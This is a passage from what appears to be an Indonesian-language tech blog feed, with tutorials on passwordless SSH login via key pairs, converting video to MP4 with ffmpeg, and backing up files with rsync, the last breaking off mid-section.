&lt;p&gt;Terkadang, kalau kita terlalu sering menggunakan SSH (Secure Shell) untuk me-&lt;em&gt;remote&lt;/em&gt; server dengan terus menerus harus meng-&lt;em&gt;input&lt;/em&gt;-kan password, bisa saja kita menjadi &lt;s&gt; frustasi&lt;/s&gt; capek, bukan? Kita menghendaki agar kebutuhan &lt;em&gt;login&lt;/em&gt; ke server via SSH bisa dilakukan se-&lt;em&gt;simple&lt;/em&gt; mungkin. Nah, ternyata, kita bisa melakukan hal tersebut kok, dan kabar baiknya, cara agar bisa login ke SSH server tanpa password ini mudah untuk dipelajari. &lt;em&gt;So&lt;/em&gt;, langsung kita ke tutorial…&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Tutor ini berasumsi bahwa kalian sudah memiliki / meng-&lt;em&gt;install&lt;/em&gt; paket ssh ya di sistem linux kalian. Kalau ternyata kalian belum meng-&lt;em&gt;install&lt;/em&gt;-nya tapi juga ingin ikutan bereksperimen, maka SSH di linux host kalian dan tentu saja di server bisa di-&lt;em&gt;install&lt;/em&gt; dengan perintah berikut:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install openssh-client openssh-server&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy openssh&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install openssh&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install openssh&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Generate&lt;/em&gt; SSH &lt;em&gt;keys&lt;/em&gt; (&lt;em&gt;private&lt;/em&gt; &amp;amp; &lt;em&gt;public key&lt;/em&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Sekilas tentang &lt;em&gt;Private&lt;/em&gt; &amp;amp; &lt;em&gt;Public Key&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Ilmu kriptografi diperlukan untuk mengamankan pesan atau data yang “terbang” di lalu lintas internet. Kriptografi digunakan untuk menyandikan pesan dan data sebelum dikirim untuk memastikan pesan tersebut aman (tidak bisa dibaca oleh orang lain) ketika di perjalanan dan membuka sandi tersebut ketika sudah terkirim kepada penerima. Untuk keperluan tersebut, mula-mula lahirlah metode kriptografi pertama yang bernama &lt;em&gt;&lt;strong&gt;Private Key Encryption&lt;/strong&gt;&lt;/em&gt;. Kemudian, seiring perkembangan zaman, lahirlah metode kedua yang dinilai lebih aman dari metode pertama, yaitu metode &lt;em&gt;&lt;strong&gt;Public Key Encryption&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Metode &lt;em&gt;&lt;strong&gt;Private Key Encryption&lt;/strong&gt;&lt;/em&gt; adalah metode kriptografi pertama dan bersifat simetris. Disebut simetris karena metode ini hanya mengandalkan 1 buah kunci untuk meng-&lt;em&gt;encrypt&lt;/em&gt; dan juga sekaligus men-&lt;em&gt;decrypt&lt;/em&gt; data / pesan, yaitu &lt;em&gt;private key&lt;/em&gt; saja. Jadi, dalam metode &lt;em&gt;&lt;strong&gt;Private Key Encryption&lt;/strong&gt;&lt;/em&gt; ini, hanya diperlukan 1 kunci saja untuk mengenkrip dan mendekrip data / pesan. Artinya, baik pengirim maupun penerima pesan harus memiliki &lt;em&gt;private key&lt;/em&gt; yang sama untuk bisa saling berkomunikasi dengan aman. Namun itu juga berarti, jika orang lain berhasil mencuri &lt;em&gt;private key&lt;/em&gt; tersebut, itu artinya tidak ada lagi rahasia di antara pengirim dan penerima pesan.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;www.cheapsslsecurity.com&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;624&quot; height=&quot;334&quot; src=&quot;/_astro/ss1.BDobxEUb_ZDUOc2.webp&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Berdasarkan kekhawatiran tersebut, maka lahirlah metode kedua, yaitu metode &lt;em&gt;&lt;strong&gt;Public Key Encryption&lt;/strong&gt;&lt;/em&gt; yang bersifat asimetris. Disebut asimetris karena metode &lt;em&gt;&lt;strong&gt;Public Key Ecryption&lt;/strong&gt;&lt;/em&gt; menggunakan 2 buah kunci yang memiliki fungsinya masing-masing, yaitu sebuah kunci untuk meng-&lt;em&gt;encrypt&lt;/em&gt; data / pesan (&lt;em&gt;public key&lt;/em&gt;) dan sebuah kunci lainnya yang digunakan untuk men-&lt;em&gt;decrypt&lt;/em&gt; data / pesan (&lt;em&gt;private key&lt;/em&gt;). Jadi, metode enkripsi ini disebut asimetris karena memerlukan 2 kunci berbeda untuk mengenkrip dan mendekrip data / pesan. Artinya, seorang pengirim pesan memerlukan &lt;em&gt;public key&lt;/em&gt; untuk mengenkrip pesan yang akan dikirim dan seorang penerima pesan memerlukan &lt;em&gt;private key&lt;/em&gt; untuk mendekrip pesan yang terkirim padanya.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;www.cheapsslsecurity.com&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;643&quot; height=&quot;320&quot; src=&quot;/_astro/ss2.CxQfbSyx_18KH8x.webp&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ssh-keygen&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-t&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rsa&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4096&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-C&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yourname/hostname/email&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;mark&gt; -t rsa&lt;/mark&gt; : Tipe &lt;em&gt;key&lt;/em&gt;-nya, karena RSA, berarti kita memilih menggunakan algoritma RSA untuk membuat &lt;em&gt;key&lt;/em&gt; tersebut.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; -b 4096&lt;/mark&gt; : Jumlah bit dalam &lt;em&gt;key&lt;/em&gt;-nya, semakin panjang, semakin aman. Default-nya adalah 2048.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; -C “yourname/hostname/email”&lt;/mark&gt; : komentar di akhir, bisa diisi nama user, nama host, atau email sebagai pengenal.&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;
&lt;p&gt;Nanti, kita akan memiliki 2 buah &lt;em&gt;key pair&lt;/em&gt; yang tersimpan (secara &lt;em&gt;default&lt;/em&gt;) di direktori &lt;strong&gt;&lt;code&gt;~/.ssh&lt;/code&gt;&lt;/strong&gt;: sebuah &lt;em&gt;private key&lt;/em&gt; (&lt;strong&gt;&lt;code&gt;~/.ssh/id_rsa&lt;/code&gt;&lt;/strong&gt;) dan sebuah &lt;em&gt;public key&lt;/em&gt; (&lt;strong&gt;&lt;code&gt;~/.ssh/id_rsa.pub&lt;/code&gt;&lt;/strong&gt;).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Berikutnya, kita perlu meng-&lt;em&gt;copy-paste&lt;/em&gt;-kan &lt;mark&gt; public key&lt;/mark&gt; tersebut ke file &lt;strong&gt;&lt;code&gt;~/.ssh/authorized_key&lt;/code&gt;&lt;/strong&gt; di server (bisa manual atau) dengan perintah berikut:&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.ssh/id_rsa.pub&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;ssh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;username@remote_host&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;mkdir -p ~/.ssh &amp;amp;&amp;amp; cat &amp;gt;&amp;gt; ~/.ssh/authorized_keys&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Berikut adalah demonstrasinya, mulai dari pembuatan &lt;em&gt;key pair&lt;/em&gt; hingga login ke server via SSH tanpa password:&lt;/p&gt;

&lt;p&gt;Tada! Kita sudah bisa login ke server via SSH tanpa memerlukan password!&lt;/p&gt;
&lt;p&gt;Btw, artikel ini selain diinspirasi oleh rasa malas saya mengetikkan password berulang-ulang tiap login ke server via SSH, juga diinspirasikan oleh sebuah video Youtube dari channel &lt;a href=&quot;https://www.youtube.com/@TonyTeachesTech&quot; target=&quot;_blank&quot;&gt;Tony Teach Tech&lt;/a&gt; berikut ini:&lt;/p&gt;

</content:encoded></item><item><title>FFmpeg - Convert Any Video Format to MP4</title><link>https://shangdi.github.io/posts/tech/convertvideoformat/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/convertvideoformat/</guid><description>If you have ffmpeg installed on your Linux machine, then it actually could help you to convert any video format to MP4!</description><pubDate>Mon, 07 Oct 2024 15:00:53 GMT</pubDate><content:encoded>&lt;p&gt;Sebetulnya, perintahnya sangat mudah, tapi supaya saya lebih mudah mengingatnya, maka saya akan abadikan dalam artikel ini&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;inputfile.ogv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libx264&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;aac&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;outputfile.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;mark&gt; -i inputfile.ogv&lt;/mark&gt; adalah file video yang akan kita ubah formatnya, bisa video berformat .ogv, .mkv, .avi, .mov, dan lain-lain.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; -c libx264&lt;/mark&gt; setting video codec ke &lt;strong&gt;libx264&lt;/strong&gt; untuk MP4 (video encoding H.264).&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; -c&lt;a&gt;&lt;/a&gt; aac&lt;/mark&gt; setting audio codec ke &lt;strong&gt;aac (advanced audio codec)&lt;/strong&gt; yang umumnya digunakan untuk MP4.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; outputfile.mp4&lt;/mark&gt; output file MP4 yang diharapkan.&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;ChatGPT &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>rsync: A Powerful Tool for Backing Up Data</title><link>https://shangdi.github.io/posts/tech/rsync/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/rsync/</guid><description>The simplest and easiest way to backup your data...</description><pubDate>Thu, 03 Oct 2024 14:42:14 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;&lt;code&gt;rsync&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;utility&lt;/em&gt; atau &lt;em&gt;tools&lt;/em&gt; atau aplikasi berbasis terminal (&lt;em&gt;CLI-based&lt;/em&gt;) yang digunakan untuk melakukan &lt;em&gt;back up&lt;/em&gt; data. Kalau merujuk pada definisi resmi dari halaman manual (&lt;em&gt;&lt;strong&gt;man page&lt;/strong&gt;&lt;/em&gt;)-nya, &lt;mark&gt; &lt;strong&gt;&lt;code&gt;rsync&lt;/code&gt;&lt;/strong&gt; &lt;em&gt;is a fast, versatile, remote (and local) file-copying tool&lt;/em&gt; &lt;/mark&gt;. Yap, sebetulnya, &lt;strong&gt;rsync&lt;/strong&gt; pada dasarnya memang mirip seperti &lt;strong&gt;cp&lt;/strong&gt; yang digunakan untuk meng-&lt;em&gt;copy&lt;/em&gt; file, tapi &lt;strong&gt;rsync&lt;/strong&gt; tidak sama dengan &lt;strong&gt;cp&lt;/strong&gt;. Berikut adalah perbandingan &lt;strong&gt;rsync&lt;/strong&gt; dan &lt;strong&gt;cp&lt;/strong&gt; &lt;u&gt; (menurut ChatGPT) &lt;/u&gt; sehingga &lt;strong&gt;rsync&lt;/strong&gt; bisa dibilang sebagai &lt;em&gt;tools&lt;/em&gt; yang lebih fleksibel dan lebih canggih dibandingkan &lt;strong&gt;cp&lt;/strong&gt;:&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;strong&gt;Fitur&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;&lt;code&gt;cp&lt;/code&gt;&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;&lt;code&gt;rsync&lt;/code&gt;&lt;/strong&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Sinkronisasi&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Tidak ada sinkronisasi&lt;/td&gt;&lt;td&gt;Sinkronisasi hanya file yang berubah / belum ada&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Jaringan&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Tidak mendukung koneksi ke jaringan&lt;/td&gt;&lt;td&gt;Mendukung jaringan melalui SSH&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Kecepatan&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Menyalin semua file&lt;/td&gt;&lt;td&gt;Lebih cepat karena hanya menyalin perubahan saja&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Melanjutkan Proses&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Tidak&lt;/td&gt;&lt;td&gt;Bisa melanjutkan transfer yang terputus&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fitur Tambahan&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Sederhana, sedikit opsi&lt;/td&gt;&lt;td&gt;Banyak opsi (&lt;em&gt;compress&lt;/em&gt;, &lt;em&gt;progress&lt;/em&gt;, &lt;em&gt;delete&lt;/em&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Karena rsync hanya meng-&lt;em&gt;copy&lt;/em&gt; file atau data yang belum ada atau berubah saja, maka proses &lt;em&gt;copy&lt;/em&gt; data via &lt;em&gt;rsync&lt;/em&gt; menjadi relatif lebih cepat dibandingkan dengan &lt;em&gt;copy&lt;/em&gt; data via &lt;strong&gt;cp&lt;/strong&gt;. Intinya, &lt;strong&gt;rsync&lt;/strong&gt; dapat bekerja lebih efektif ada efisien dalam hal &lt;em&gt;copy&lt;/em&gt; data dibandingkan &lt;strong&gt;cp&lt;/strong&gt;. Oleh karena itu, &lt;strong&gt;rsync&lt;/strong&gt; sangat cocok digunakan untuk melakukan &lt;em&gt;backup&lt;/em&gt; data.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Instalasi &lt;code&gt;rsync&lt;/code&gt;&lt;a href=&quot;#instalasi-rsync&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Cara instalasi &lt;strong&gt;rsync&lt;/strong&gt; di masing-masing distro:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install rsync&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy rsync&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install rsync&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install rsync&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Demonstrasi&lt;a href=&quot;#demonstrasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pola dasar perintah &lt;strong&gt;rsync&lt;/strong&gt; sangat sederhana, sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rsync&lt;/span&gt;&lt;span&gt; [options] [source] [destination]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Misalnya, saya ingin mem-&lt;em&gt;backup&lt;/em&gt; seluruh file yang ada di folder/direktori &lt;strong&gt;~/Templates&lt;/strong&gt; ke direktori &lt;strong&gt;~/backup&lt;/strong&gt;, maka perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rsync&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-arzv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/Templates/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/backup/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Penting!&lt;/strong&gt;  Pastikan kita menambahkan tanda garis miring atau &lt;em&gt;slash&lt;/em&gt; &lt;strong&gt;[ / ]&lt;/strong&gt; di akhir nama direktori jika kita hanya ingin meng-&lt;em&gt;copy&lt;/em&gt; isi file yang terdapat di dalam direktori tersebut. Dengan kata lain, kita tidak ingin direktori &lt;strong&gt;~/Templates&lt;/strong&gt; tersebut juga ikut ter-&lt;em&gt;copy&lt;/em&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;-a : &lt;em&gt;archive mode&lt;/em&gt;&lt;/strong&gt;, menyalin data dengan tetap mempertahankan atribut-atributnya (&lt;em&gt;timestamps, permissions, owner,&lt;/em&gt; etc)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-r : &lt;em&gt;recursive&lt;/em&gt;&lt;/strong&gt;, mengambil semua file yang ada di dalam direktori&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-z : &lt;em&gt;compress&lt;/em&gt;&lt;/strong&gt;, mengkompres data selama proses transfer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-v : &lt;em&gt;verbose&lt;/em&gt;&lt;/strong&gt;, meningkatkan &lt;em&gt;verbosity&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut demo-nya:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Tentang &lt;strong&gt;&lt;code&gt;watch&lt;/code&gt;&lt;/strong&gt;:&lt;br /&gt;
Saya menggunakan perintah &lt;strong&gt;watch&lt;/strong&gt; berikut untuk memantau aktivitas di dalam direktori ~/backup:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;watch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-n&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Artinya, saya akan menginputkan perintah ls -l setiap 2 detik.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Selain digunakan untuk melakukan &lt;em&gt;backup&lt;/em&gt; pada komputer lokal, &lt;strong&gt;rsync&lt;/strong&gt; juga dapat digunakan untuk melakukan &lt;em&gt;backup&lt;/em&gt; secara &lt;em&gt;remote&lt;/em&gt; pada komputer server. Pola perintahnya juga masih sama seperti yang saya sampaikan di awal bagian demonstrasi ini. Hanya saja, kita perlu mengganti bagian &lt;em&gt;source&lt;/em&gt; atau &lt;em&gt;destination&lt;/em&gt;-nya dengan &lt;em&gt;remote&lt;/em&gt; server yang ingin di-&lt;em&gt;backup&lt;/em&gt; atau mem-&lt;em&gt;backup&lt;/em&gt;. Sehingga kira-kira pola perintahnya akan seperti ini jika kita ingin melakukan &lt;em&gt;backup&lt;/em&gt; dari sebuah server:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rsync&lt;/span&gt;&lt;span&gt; [options] [username@ip-or-hostname:/source/path] [destination]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika ingin melakukan &lt;em&gt;backup&lt;/em&gt; ke sebuah server:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rsync&lt;/span&gt;&lt;span&gt; [options] [source] [username@ip-or-hostname:/dest/path]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Misalnya, saya ingin mem-&lt;em&gt;backup&lt;/em&gt; file-file dari direktori &lt;strong&gt;~/Templates&lt;/strong&gt; yang ada di komputer saya ke direktori &lt;strong&gt;~/backup&lt;/strong&gt; di server Ubuntu 20.04, maka perintahnya adalah sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rsync&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-arzv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/Templates/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wildan@192.168.0.114:~/backup/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut demonya:&lt;/p&gt;&lt;p&gt;Kiri adalah komputer lokal saya, kanan adalah komputer server&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;br /&gt;
